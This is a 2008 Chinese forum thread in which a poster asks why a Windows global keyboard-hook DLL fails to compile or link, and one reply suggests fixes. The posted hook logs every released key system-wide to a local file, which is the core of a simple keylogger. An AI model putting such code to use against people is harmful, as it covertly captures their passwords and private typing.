首页
社区
课程
招聘
[旧帖] 编写钩子函数的问题,都进来瞧瞧,搞了几个星期了 0.00雪花
发表于: 2008-4-7 19:42 4391

[旧帖] 编写钩子函数的问题,都进来瞧瞧,搞了几个星期了 0.00雪花

2008-4-7 19:42
4391
  

/*hookdll.cpp*/
#include "windows.h"
#include "hookdll.h"

#include "string.h"
#include "stdio.h"
HINSTANCE hInst;

#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()

#pragma comment(linker,"/SECTION:hookdata,RWS")

#define DllExport extern "C"__declspec(dllexport)

DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam );
DllExport void InstallHook(int nCode);
DllExport void EndHook(void);

BOOL WINAPI DllMain(HINSTANCE hInstance,ULONG What,LPVOID NotUsed)
{
switch(What)
{
case DLL_PROCESS_ATTACH:
hInst = hInstance;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return 1;
}

void InstallHook(int nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}

DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
WPARAM j;
FILE *fp;
if(lParam&0x80000000)
{
j = wParam;
fp=fopen("c:hookkey.txt","a");
fprintf(fp,"%4d",j);
fclose(fp);
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}
void EndHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}
/*hookdll.h*/
#define DllImport extern"C"__declspec(dllimport)
DllImport void InstallHook(int nCode);
DllImport LRESULT CALLBACK KeyBoardProc (int nCode,WPARAM wParam, LPARAM lParam );
DllImport void EndHook(void);

/*编译错误*/

--------------------Configuration: hook_exec - Win32 Debug--------------------
Compiling...
hookdll.cpp
d:\wg\hook_exec\hookdll.cpp(16) : warning C4273: 'KeyBoardProc' : inconsistent dll linkage.  dllexport assumed.
d:\wg\hook_exec\hookdll.cpp(17) : warning C4273: 'InstallHook' : inconsistent dll linkage.  dllexport assumed.
d:\wg\hook_exec\hookdll.cpp(18) : warning C4273: 'EndHook' : inconsistent dll linkage.  dllexport assumed.
Linking...
   Creating library Debug/hook_exec.lib and object Debug/hook_exec.exp
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/hook_exec.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

hook_exec.exe - 2 error(s), 3 warning(s)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 2384
活跃值: (766)
能力值: (RANK:410 )
在线值:
发帖
回帖
粉丝
2
/*hookdll.h*/
//我只将你下面的DllImport extern "C" __declspec(dllimport)改成DllImport extern "C"__declspec(dllexport)就没有inconsistent dll linkage.  dllexport assumed.这个错误了。
//#define DllImport extern"C"__declspec(dllimport)
DllImport void InstallHook(int nCode);
DllImport LRESULT CALLBACK KeyBoardProc (int nCode,WPARAM wParam, LPARAM lParam );
DllImport void EndHook(void);


//下面这个错误在我这里没有出现有,你这里可能是工程设置有问题,建议你重新新建一个Dll工程再将前面的代码拷贝进去编译试试。

   Creating library Debug/hook_exec.lib and object Debug/hook_exec.exp
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/hook_exec.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.
2008-4-7 20:23
0
游客
登录 | 注册 方可回帖
返回
//